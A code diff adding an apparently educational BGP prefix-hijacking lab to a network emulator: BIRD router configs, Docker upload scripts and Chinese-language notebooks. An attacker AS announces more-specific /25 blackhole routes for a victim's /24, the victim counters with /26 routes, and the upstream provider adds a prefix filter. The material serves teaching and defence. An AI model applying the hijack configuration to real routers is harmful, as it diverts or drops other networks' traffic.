+1,86 @@ +router id 10.0.0.28; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (199, 0, 0); +define CUSTOMER_COMM = (199, 1, 0); +define PEER_COMM = (199, 2, 0); +define PROVIDER_COMM = (199, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as2 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.199 as 199; + neighbor 10.105.0.2 as 2; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + +############################################## +# Added BGP Attack +# Hijack AS153's network prefix 10.153.0/24 +############################################## + +protocol static { + ipv4 { table t_bgp; }; + route 10.153.0.0/25 blackhole { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.128/25 blackhole { + bgp_large_community.add(LOCAL_COMM); + }; +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as199brd_bird.conf_original b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as199brd_bird.conf_original new file mode 100644 index 000000000..d6d08d5d1 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as199brd_bird.conf_original @@ -0,0 +1,72 @@ +router id 10.0.0.28; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (199, 0, 0); +define CUSTOMER_COMM = (199, 1, 0); +define PEER_COMM = (199, 2, 0); +define PROVIDER_COMM = (199, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as2 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.199 as 199; + neighbor 10.105.0.2 as 2; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as2brd-r105_bird.conf_fixproblem b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as2brd-r105_bird.conf_fixproblem new file mode 100644 index 000000000..68a625cbb --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as2brd-r105_bird.conf_fixproblem @@ -0,0 +1,117 @@ +router id 10.0.0.4; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net_100_105"; + +} +define LOCAL_COMM = (2, 0, 0); +define CUSTOMER_COMM = (2, 1, 0); +define PEER_COMM = (2, 2, 0); +define PROVIDER_COMM = (2, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp p_rs105 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PEER_COMM); + bgp_local_pref = 20; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.2 as 2; + neighbor 10.105.0.105 as 105; +} +protocol bgp c_as199 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + if (net != 10.199.0.0/24) then reject; # Added to fix the problem + accept; + }; + export all; + next hop self; + }; + local 10.105.0.2 as 2; + neighbor 10.105.0.199 as 199; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net_100_105" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} +protocol bgp ibgp1 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.1 as 2; +} +protocol bgp ibgp2 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.2 as 2; +} +protocol bgp ibgp3 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.3 as 2; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as2brd-r105_bird.conf_original b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as2brd-r105_bird.conf_original new file mode 100644 index 000000000..5c0bf4395 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/as2brd-r105_bird.conf_original @@ -0,0 +1,116 @@ +router id 10.0.0.4; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net_100_105"; + +} +define LOCAL_COMM = (2, 0, 0); +define CUSTOMER_COMM = (2, 1, 0); +define PEER_COMM = (2, 2, 0); +define PROVIDER_COMM = (2, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp p_rs105 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PEER_COMM); + bgp_local_pref = 20; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.2 as 2; + neighbor 10.105.0.105 as 105; +} +protocol bgp c_as199 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + accept; + }; + export all; + next hop self; + }; + local 10.105.0.2 as 2; + neighbor 10.105.0.199 as 199; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net_100_105" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} +protocol bgp ibgp1 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.1 as 2; +} +protocol bgp ibgp2 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.2 as 2; +} +protocol bgp ibgp3 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.4 as 2; + neighbor 10.0.0.3 as 2; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/attack.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/attack.sh new file mode 100755 index 000000000..b93e105c0 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/attack.sh @@ -0,0 +1,7 @@ +#!/bin/bash + + +name="as199brd" +postfix="malicious" + +source ./upload.sh diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/bgp_attack.ipynb b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/bgp_attack.ipynb new file mode 100644 index 000000000..05955318e --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/bgp_attack.ipynb @@ -0,0 +1,314 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "c7c3200f-cd40-4986-b1c3-cb9432bc8b1e", + "metadata": {}, + "source": [ + "# BGP 网络前缀劫持攻击" + ] + }, + { + "cell_type": "markdown", + "id": "550306c9-42a0-4671-b72c-f0a302171b51", + "metadata": {}, + "source": [ + "## 设置环境\n", + "\n", + "首先我们需要把仿真器运行起来。\n", + "\n", + "在这个实验中,我们用 AS-199 来劫持 AS-153 的 IP 前缀(`10.153.0.0/24`)。为了帮助观察 BGP 劫持的效果,我们先从一台机器上发包给 AS-153 的机器。在 Internet Map 上我们应该可以看到数据包的流动(在 Filter 栏填入 `icmp`,加回车):" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f0fcaf62-fe43-4cbc-9271-59678efb1155", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash --bg\n", + "docker exec as151h-host_0-10.151.0.71 ping 10.153.0.71" + ] + }, + { + "cell_type": "markdown", + "id": "488c08d5-11b1-4f64-afe6-70004ace09bf", + "metadata": {}, + "source": [ + "## 1. 劫持 AS-153\n", + "\n", + "第一步:攻击者是 AS-199, 所以我们先获取 AS-199 的 BGP 配置文件,对其进行修改。可以通过下面的命令从仿真器里获得配置文件。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5cea8958-4fd3-4a7f-955b-c990cd5a48e5", + "metadata": {}, + "outputs": [], + "source": [ + "!docker cp as199brd-router0-10.199.0.254:/etc/bird/bird.conf ./as199_bird.conf" + ] + }, + { + "cell_type": "markdown", + "id": "1a1d9c2d-4a77-4c24-9846-b08343e6bd38", + "metadata": {}, + "source": [ + "第二步:我们将下面的配置内容加到 AS-199 的 BGP 配置文件的最后。这些配置对 `10.153.0.0/24` 网络进行了劫持" + ] + }, + { + "cell_type": "markdown", + "id": "fb8d0597-6ce9-4d63-9528-b059f4469f58", + "metadata": {}, + "source": [ + "```\n", + "##############################################\n", + "# Added BGP Attack\n", + "# Hijack AS153's network prefix 10.153.0/24\n", + "##############################################\n", + "\n", + "protocol static {\n", + " ipv4 { table t_bgp; };\n", + " route 10.153.0.0/25 blackhole {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.128/25 blackhole {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + "}\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "1f159bd9-570d-462a-bc42-106f5b891741", + "metadata": {}, + "source": [ + "第三步:完成了上面的修改后将改过后的 BGP 配置文件拷贝回 AS-199,然后重启 AS-199 的 BGP 守护进程。我们把修改过的配置文件放在了 `as199brd_bird.conf_malicious` 中。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c90eb559-b571-499f-914f-0219712342fa", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as199brd_bird.conf_malicious as199brd-router0-10.199.0.254:/etc/bird/bird.conf\n", + "docker exec as199brd-router0-10.199.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "75fa08d8-e9d2-4af6-96ba-f21725823f0a", + "metadata": {}, + "source": [ + "第四步:从 Internet Map 上我们可以看到数据包的流向改变了,流向了 AS-199。现在在任何一台机器是 `ping 10.153.0.71`, 都会发现没有回复。我们可以去看一下 `as3brd-r103-10.103.0.3` 上的路由(这是一个 transit 自治系统),我们可以看到网络 AS-153 的网络有 3 个记录,其中 `10.153.0.0/25` 和 `10.153.0.128/25` 完全覆盖了 `10.153.0.0/24`。从记录可以看出,去往前两个地址的下一跳路由(`10.3.0.254`)和去往 `10.153.0.0/24` 的下一跳路由(`10.3.3.253`)是不一样的,这说明去往 AS-153 的包改道了。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "26ded91b-79f1-44c9-b493-1bb4d22ca6b8", + "metadata": {}, + "outputs": [], + "source": [ + "!docker exec as3brd-r103-10.103.0.3 ip route" + ] + }, + { + "cell_type": "markdown", + "id": "6a4d06ba-1423-42bf-a41b-b1f64854801b", + "metadata": {}, + "source": [ + "## 2. AS-153 的反击" + ] + }, + { + "cell_type": "markdown", + "id": "ad994221-fcbb-46bb-9702-538dd3727f43", + "metadata": {}, + "source": [ + "第一步:AS-153 可以用同样的方法将自己的网络劫持回来。只要在自己的 BGP 配置文件中加入下面的内容即可,然后重启 BGP 守护进程。\n", + "\n", + "```\n", + "#########################################\n", + "# Added for BGP Attack\n", + "# Fight back\n", + "#########################################\n", + "\n", + "protocol static {\n", + " ipv4 { table t_bgp; };\n", + " route 10.153.0.0/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.64/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.128/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.192/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + "}\n", + "\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "02f6447f-d31e-449e-96ac-e582b1332a7c", + "metadata": {}, + "source": [ + "第二步:我们已经将修改过的配置放在了 `as153brd_bird.conf_fightback` 中,只要把它拷贝回 AS-153 的容器就可以。运行完下面的命令后,从 Internet Map 上我们可以看到数据包的流向改变了,重新流向了 AS-153。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "45708418-b20d-4de9-a55d-9de9e4e1d6dc", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153brd_bird.conf_fightback as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "97c29273-12d5-4af6-8ebb-bfcca5a2ec32", + "metadata": {}, + "source": [ + "## 3. 让 AS-199 的上游服务商来解决问题" + ] + }, + { + "cell_type": "markdown", + "id": "48d12f6d-9ca1-44af-8f17-2d67fc3238da", + "metadata": {}, + "source": [ + "第一步:在做这个任务之前,我们先恢复 AS-153 的配置,这样攻击仍然有效,我们就可以让上游服务商来解决这个问题。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "72df0c9d-9fca-4e41-b7ae-da6c0ff3d207", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153brd_bird.conf_original as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "85df351e-b883-4574-aabf-b0e8ccb8f801", + "metadata": {}, + "source": [ + "第二步:我们先来看一下 AS-199 的上游服务商是谁。下面的命令在 AS-199 的 BGP 路由器向 BGP 的守护进程 `bird` 查询信息。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "be755bed-b127-43c9-9f96-f9e8764d77c0", + "metadata": {}, + "outputs": [], + "source": [ + "!docker exec as199brd-router0-10.199.0.254 birdc show protocols" + ] + }, + { + "cell_type": "markdown", + "id": "9c3cf28f-a847-45b5-b2e4-4c2b7829398c", + "metadata": {}, + "source": [ + "从结果我们可以看到只有一个 BGP session(第2列),也就是 `u_as2`,这是 AS-2。这个自治系统在多处有 BGP 路由器,从 Internet Map 上可以看到,AS-199 和 AS-2 是在 IX-105 进行的对待连接(peering)。我们可以找到相应的容器的名字(`as2brd-r105-10.105.0.2`):" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "58e51d16-b827-42e3-a5bf-27c6c151d9ab", + "metadata": {}, + "outputs": [], + "source": [ + "!docker ps | grep as2" + ] + }, + { + "cell_type": "markdown", + "id": "3856f1aa-b336-4a5d-a1fe-caf36c2637e9", + "metadata": {}, + "source": [ + "第三步:我们可以获取 `as2brd-r105-10.105.0.2` 的 BGP 配置文件,加入一行到它和 AS-199 的配置里(见下面的带注释的行)。这行判断 AS-199 对外 announce 的网络前缀是否是 `10.199.0.0/24`,如果不是的话就拒绝接受这个 BGP announcement。\n", + "```\n", + "protocol bgp c_as199 {\n", + " ipv4 {\n", + " table t_bgp;\n", + " import filter {\n", + " bgp_large_community.add(CUSTOMER_COMM);\n", + " bgp_local_pref = 30;\n", + " if (net != 10.199.0.0/24) then reject; ### 阻挡伪造的 BGP announcement \n", + " accept;\n", + " };\n", + " export all;\n", + " next hop self;\n", + " };\n", + " local 10.105.0.2 as 2;\n", + " neighbor 10.105.0.199 as 199;\n", + "}\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "be9f6b39-750a-4825-9b6e-d95c92b1ed6d", + "metadata": {}, + "source": [ + "第四步:把修改过的 BGP 配置文件传回 `as2brd-r105-10.105.0.2`。我们修改过的文件是 `as2brd-r105_bird.conf_fixproblem`。运行完下面的命令,从 Internet Map 上我们可以看到数据包的流向改变了,重新流向了 AS-153。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f4850a7b-f808-4840-9aa9-0980f5d8163b", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as2brd-r105_bird.conf_fixproblem as2brd-r105-10.105.0.2:/etc/bird/bird.conf\n", + "docker exec as2brd-r105-10.105.0.2 birdc configure" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.16" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/bgp_restore.ipynb b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/bgp_restore.ipynb new file mode 100644 index 000000000..ccc5ed803 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/bgp_restore.ipynb @@ -0,0 +1,103 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "ad6e0a93-3e30-4cb1-af45-d63dbb7a1565", + "metadata": {}, + "source": [ + "# 恢复 BGP 配置文件\n", + "\n", + "这里列出了恢复 AS-199, AS-153,和 AS-2 的 BGP 配置的命令。" + ] + }, + { + "cell_type": "markdown", + "id": "df69ba48-dbc8-4f73-b8df-b079f561ab3e", + "metadata": {}, + "source": [ + "## 恢复 AS-199 的 BGP 配置" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5a88417e-5686-4ec5-8741-10fed6d9fe3f", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as199brd_bird.conf_original as199brd-router0-10.199.0.254:/etc/bird/bird.conf\n", + "docker exec as199brd-router0-10.199.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "7e12feea-bfd2-4ae2-b0cb-59ad565fc0ce", + "metadata": {}, + "source": [ + "## 恢复 AS-153 的 BGP 配置" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e48ed8a8-afe1-466f-a292-972ca599bcc8", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153brd_bird.conf_original as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "0a9d4476-ee41-4711-ba7b-84b6930b49fb", + "metadata": {}, + "source": [ + "## 恢复 AS-2 的 BGP 配置" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "239005cf-7176-4dc8-b297-f78b7c3c7f55", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as2brd-r105_bird.conf_original as2brd-r105-10.105.0.2:/etc/bird/bird.conf\n", + "docker exec as2brd-r105-10.105.0.2 birdc configure" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5e1980c8-743d-4607-b9ab-ead8f233f6e9", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.16" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/fightback.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/fightback.sh new file mode 100755 index 000000000..494c27111 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/fightback.sh @@ -0,0 +1,7 @@ +#!/bin/bash + + +name="as153brd" +postfix="fightback" + +source ./upload.sh diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/fixproblem.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/fixproblem.sh new file mode 100755 index 000000000..b8a5c1d1f --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/fixproblem.sh @@ -0,0 +1,7 @@ +#!/bin/bash + + +name="as2brd-r105" +postfix="fixproblem" + +source ./upload.sh diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_all.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_all.sh new file mode 100755 index 000000000..e9d30bfa3 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_all.sh @@ -0,0 +1,4 @@ +./restore_as153.sh +./restore_as199.sh +./restore_as2.sh + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_as153.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_as153.sh new file mode 100755 index 000000000..53f38a905 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_as153.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +name="as153brd" +postfix="original" + +source ./upload.sh + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_as199.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_as199.sh new file mode 100755 index 000000000..47bfcdf67 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_as199.sh @@ -0,0 +1,7 @@ +#!/bin/bash + + +name="as199brd" +postfix="original" + +source ./upload.sh diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_as2.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_as2.sh new file mode 100755 index 000000000..398c9a605 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/restore_as2.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +name="as2brd-r105" +postfix="original" + +source ./upload.sh + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/upload.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/upload.sh new file mode 100755 index 000000000..7482ad5d0 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/attack_script/upload.sh @@ -0,0 +1,13 @@ + +dockerID=$(docker ps | grep $name | awk '{print $1}') + +if [[ -f ${name}_bird.conf_${postfix} ]]; then + echo "== Copy original bird.conf to the container: $name" + docker cp ${name}_bird.conf_${postfix} $dockerID:/etc/bird/bird.conf + + echo "== Execute 'birdc configure' on the container" + docker exec $dockerID birdc configure +else + echo "** File ${name}_bird.conf_${postfix} does not exist" +fi + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/README.md b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/README.md new file mode 100644 index 000000000..98e37318d --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/README.md @@ -0,0 +1,5 @@ +## BGP Prefix Hijacking + +Run `jupyter lab` first, then point your browser to [localhost:8888](localhost:8888), +open the `bgp_attack.ipynb` and `bgp_restore.ipynb` notebooks, you should be able +replay the attack. diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as153brd_bird.conf_fightback b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as153brd_bird.conf_fightback new file mode 100644 index 000000000..3bfac656a --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as153brd_bird.conf_fightback @@ -0,0 +1,94 @@ +router id 10.0.0.19; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (153, 0, 0); +define CUSTOMER_COMM = (153, 1, 0); +define PEER_COMM = (153, 2, 0); +define PROVIDER_COMM = (153, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as12 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.101.0.153 as 153; + neighbor 10.101.0.12 as 12; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix101" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + +######################################### +# Added for BGP Attack +# Fight back +######################################### + +protocol static { + ipv4 { table t_bgp; }; + route 10.153.0.0/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.64/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.128/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.192/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; +} + + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as153brd_bird.conf_original b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as153brd_bird.conf_original new file mode 100644 index 000000000..dd82d8057 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as153brd_bird.conf_original @@ -0,0 +1,72 @@ +router id 10.0.0.19; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (153, 0, 0); +define CUSTOMER_COMM = (153, 1, 0); +define PEER_COMM = (153, 2, 0); +define PROVIDER_COMM = (153, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as12 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.101.0.153 as 153; + neighbor 10.101.0.12 as 12; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix101" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as199brd_bird.conf_malicious b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as199brd_bird.conf_malicious new file mode 100644 index 000000000..196348119 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/as199brd_bird.conf_malicious @@ -0,0 +1,86 @@ +router id 10.0.0.28; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (199, 0, 0); +define CUSTOMER_COMM = (199, 1, 0); +define PEER_COMM = (199, 2, 0); +define PROVIDER_COMM = (199, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as2 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + 